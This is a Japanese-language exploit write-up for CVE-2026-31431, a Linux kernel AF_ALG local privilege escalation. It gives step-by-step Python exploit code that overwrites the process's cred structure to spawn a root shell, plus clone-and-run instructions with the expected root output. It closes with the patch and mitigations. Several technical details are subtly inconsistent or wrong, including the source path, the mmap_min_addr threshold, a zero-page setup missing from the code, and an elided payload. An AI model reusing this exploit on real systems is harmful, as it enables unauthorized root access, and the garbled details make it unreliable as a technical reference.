
# CVE-2026-31431 用 Python エクスプロイト AF_ALG のヌルポインタ参照によるヒープ領域外書き込みと資格情報の上書きを引き起こす Linux カーネル LPE です。詳細な解説と緩和策のガイダンスを含みます。
バグクラス: NULLポインタ参照 → ヒープOOB書き込み → 資格情報の上書き
影響を受けるサブシステム:net/alg/af_alg.c
影響: ローカル権限昇格(非特権ユーザー → root)
影響を受けるカーネル: Linux 4.4 – 4.9(パッチ適用前)
カーネルがユーザー空間アドレスを期待する場所に、NULLポインタを指定してsetsockopt()を呼び出します。カーネルはアドレス0x00000000から読み取ります — そしてゼロページをマッピングしていれば、読み取られる内容を制御できます。この単一のプリミティブが雪だるま式にヒープの領域外書き込みへと発展し、自身のcred構造体を上書きできます。ゲームオーバーです。
AF_ALGインターフェースは、ユーザー空間プログラムがアルゴリズム自体を実装せずにカーネルの暗号ルーチンを利用できるようにするために導入されました。暗号化、復号、ハッシュ — すべてソケットインターフェース経由で公開されています。クリーンなアイデアです。問題は、setsockopt(ALG_SET_AEAD_AUTHSIZE)がユーザーが有効なポインタを渡したかNULLを渡したかをチェックしていなかったことです。
ほとんどのNULLポインタバグは即座に終わります — カーネルはマッピングされていない0x0を参照し、oopsが発生します。これは別の前提条件があるため生き残ります:vm.mmap_min_addr = 0の場合、攻撃者はmmap(0, ...)を呼び出して攻撃者が制御するデータをゼロページに配置できます。これでカーネルはガベージを読み取るのではなく、あなたがそこに置いたものを正確に読み取ります。
脆弱な呼び出し:
setsockopt(sock_fd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4)
通常、4番目の引数は認証タグサイズを指定する4バイト値へのポインタです。カーネルはそれに対してcopy_from_user()を呼び出します。ポインタの検証はありません。NULLを渡すと、copy_from_user(dest, 0x00000000, 4)がゼロページから読み取ります。
制御できるもの:
アドレス0x0の4バイト — 呼び出しを行う前に設定します。これにより任意のauthsize値を得られます。
なぜ危険か:
AEAD操作は、暗号文と認証タグを収容するサイズのバッファを割り当てます。膨らませたauthsizeを入力すると、カーネルは割り当てられたバッファの末尾を超えてタグを書き込みます — 典型的なヒープの領域外書き込みです。そこからは、ヒープグルーミングによってその書き込みをstruct credに着地させることが問題になります。
エクスプロイトはPython 3で書かれており、標準ライブラリのみを使用します。各フェーズが実際に何をしているか、そしてその理由を説明します。
a = socket.socket(38, 5, 0) # AF_ALG, SOCK_SEQPACKET
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
AF_ALG(ソケットファミリ38)はカーネル暗号APIです。authencesn(hmac(sha256),cbc(aes))へのバインドは、認証付き暗号化テンプレートを要求します — 完全性にはHMAC-SHA256、機密性にはAES-CBC。このテンプレートが選ばれるのは、その認証タグの処理が脆弱な書き込みが発生する場所だからです。
a.setsockopt(SOL_ALG, ALG_SET_KEY, bytes.fromhex('0800010000000010' + '0'*64))
72バイトのキーが読み込まれます。キー自体はエクスプロイトには関係ありません — 重要なのは、トリガー呼び出しの前にソケットが完全に初期化されていることです。キーなしのAEADソケットは、authsize操作を早期に拒否する可能性があります。
a.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, 4)
これが脆弱性です。PythonのNoneはC APIではNULLポインタにマッピングされます。カーネルは0x00000000から4バイトを読み取ります。ゼロページには目的のauthsize値がすでに配置されているため、カーネルは攻撃者が制御する認証タグ長を持つことになります。
u, _ = a.accept()
AF_ALGソケットのaccept()は操作ソケットを返します。暗号操作はここで行われます。
u.sendmsg(
[b"A"*4 + chunk],
[
(SOL_ALG, ALG_SET_IV, b"\x00" * 4), # ゼロIV
(SOL_ALG, ALG_SET_AEAD_ASSOCLEN, b"\x10" + b"\x00"*19), # 20バイトのAAD
(SOL_ALG, 4, b"\x08" + b"\x00"*3), # 操作タイプ
],
MSG_MORE
)
補助制御メッセージが操作を設定します — IV、関連データ長、操作方向。実際のデータはエクスプロイトペイロードの4バイトチャンクとパディングです。
次にspliceを使用して、SUIDバイナリのファイルディスクリプタから操作ソケットへデータを供給し、ユーザー空間のコピーを回避します:
r, w = os.pipe()
os.splice(f, w, chunk_len, offset_src=0)
os.splice(r, u.fileno(), chunk_len)
ここでsplice()を使用するのは意図的です — データがユーザー空間メモリに触れることを回避し、カーネル側のヒープレイアウトをより予測可能に保ちます。AEAD操作がこのデータを処理するとき、破損したauthsizeにより認証タグの書き込みが隣接するヒープメモリに溢れ出します。
e = zlib.decompress(bytes.fromhex("78da..."))
for i in range(0, len(e), 4):
exploit_chunk(f, i, e[i:i+4])
圧縮されたペイロードには、書き込む実際の値が含まれています — 細工されたstruct credフィールドオフセットとゼロ化されたUID/GID値。各4バイトの反復で1つの書き込みが行われます。ループはターゲットのcred構造体を段階的に上書きし、すべてのUIDとGIDがゼロになるまで続けます。
os.system("su")
cred->uid = cred->euid = cred->gid = 0により、現在のプロセスは実質的にrootです。su(または他の任意のバイナリ)を起動すると、その資格情報を継承します。rootシェルです。
ゼロページのマッピング
│
▼
setsockopt(ALG_SET_AEAD_AUTHSIZE, NULL, 4)
│ カーネルが0x0からauthsizeを読み取る
│ 攻撃者がその値を制御
▼
sendmsg + splice → AEAD操作
│ 膨らませたauthsizeがヒープOOB書き込みを引き起こす
│
▼
ヒープグルーミングでstruct credに書き込みを着地
│
▼
cred->uid = cred->euid = 0
│
▼
os.system("su") → rootシェル
| 条件 | なぜ重要か |
|---|---|
vm.mmap_min_addr = 0 | ゼロページのマッピングを許可 — プリミティブ全体がこれに依存 |
| AF_ALGがカーネルにコンパイルされている | 有効化されている必要がある(CONFIG_CRYPTO_USER_API_AEAD=y) |
mmapの下限を確認:
sysctl vm.mmap_min_addr
値が0または4096の場合は露出を示します。
# 1. クローン
git clone https://github.com/example/afalg-privesc.git
cd afalg-privesc
# 2. 前提条件の確認
sysctl vm.mmap_min_addr
uname -r
# 3. 実行
python3 exploit.py
脆弱なシステムでの期待される出力:
root@hostname:/#
パッチは簡単です — af_alg_set_aead_authsizeのcopy_from_user()呼び出しの前に1つのNULLチェックを追加するだけです:
// 修正前(脆弱)
copy_from_user(&authsize, optval, sizeof(authsize));
// 修正後(パッチ適用済み)
if (!optval)
return -EFAULT;
copy_from_user(&authsize, optval, sizeof(authsize));
関連コミット:af_alg: avoid accessing NULL pointer in af_alg_set_aead_authsize
パッチなしでエクスプロイトチェーンを無効化する緩和策:
vm.mmap_min_addr = 65536を設定 — ゼロページのマッピングをブロックし、NULL参照プリミティブを無効化CONFIG_CRYPTO_USER_API_AEADを無効化 — 攻撃面を完全に除去このクラスのバグ — copy_from_user()の前のポインタ検証の欠如 — は、複雑なAPIをユーザー空間に公開するカーネルサブシステムで定期的に発生します。ゼロページプリミティブは、長年にわたり複数のLPEエクスプロイト(Dirty COW時代、CVE-2016-5195チェーンの変種)で使用されてきました。重要なのはこの特定のCVEだけではありません。パターンです:カーネルがユーザー指定のアドレスを検証せずにコピーし、ゼロページがマッピング可能な場所ならどこでも、調査に値するプリミティブがあります。
防御側にとって、ソケットオプションハンドラ内の先行NULLチェックなしのcopy_from_user()呼び出しサイトの監査は、カーネルレビュープロセスに自動化する価値があります。
net/alg/af_alg.c — カーネルソースaf_alg: avoid accessing NULL pointer in af_alg_set_aead_authsizeDocumentation/networking/af_alg.rst — AF_ALGインターフェースのドキュメント教育および防御目的のみの研究と解説です。明示的な許可のないシステムでは使用しないでください。
| カーネル4.4 – 4.9(未パッチ) |
| 脆弱なコードパスが存在する |
| ローカルユーザーアクセス | LPEのみ — リモートからは悪用不可 |